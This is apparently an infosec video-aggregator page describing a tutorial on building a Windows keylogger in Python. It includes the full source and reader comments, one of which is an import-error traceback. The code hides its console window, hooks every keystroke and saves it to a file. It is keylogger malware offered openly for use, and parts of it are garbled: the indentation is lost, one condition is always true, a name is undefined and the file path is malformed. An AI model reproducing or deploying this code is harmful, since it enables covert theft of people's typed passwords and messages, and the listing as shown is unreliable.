Description: In this video he will shows us how to create Keylogger Using python programming. And hes also explaining Hardware keylogger and software keylogger types. This is very simple keylogger on python if you want to make a good keylogger using python so this tutorial best for you. This tutorial give a good idea. :)
Python Code :-
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii != 0 or 8:
f=open('c:output.txt','r')
buffer=f.read()
f.close()
f=open('c:output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer +=
keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
http://www.tinkernut.com/forum/video-tutorial-help/how-to-make-a-keylogger/
Tags: keylogger , python , programming ,
Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying.
really cool!
python is best. similar c code will be longer.
To good man i will try it later thanks for the video. !!
Traceback (most recent call last):
File "C:/logger.py", line 5, in <module>
import pythoncom, pyHook
File "C:/pyHook\__init__.py", line 1, in <module>
from HookManager import *
File "C:/pyHook\HookManager.py", line 1, in <module>
import cpyHook
File "C:/pyHook\cpyHook.py", line 25, in <module>
_cpyHook = swig_import_helper()
File "C:/pyHook\cpyHook.py", line 24, in swig_import_helper
return _mod
UnboundLocalError: local variable '_mod' referenced before assignment
>>>
I am getting this error any help?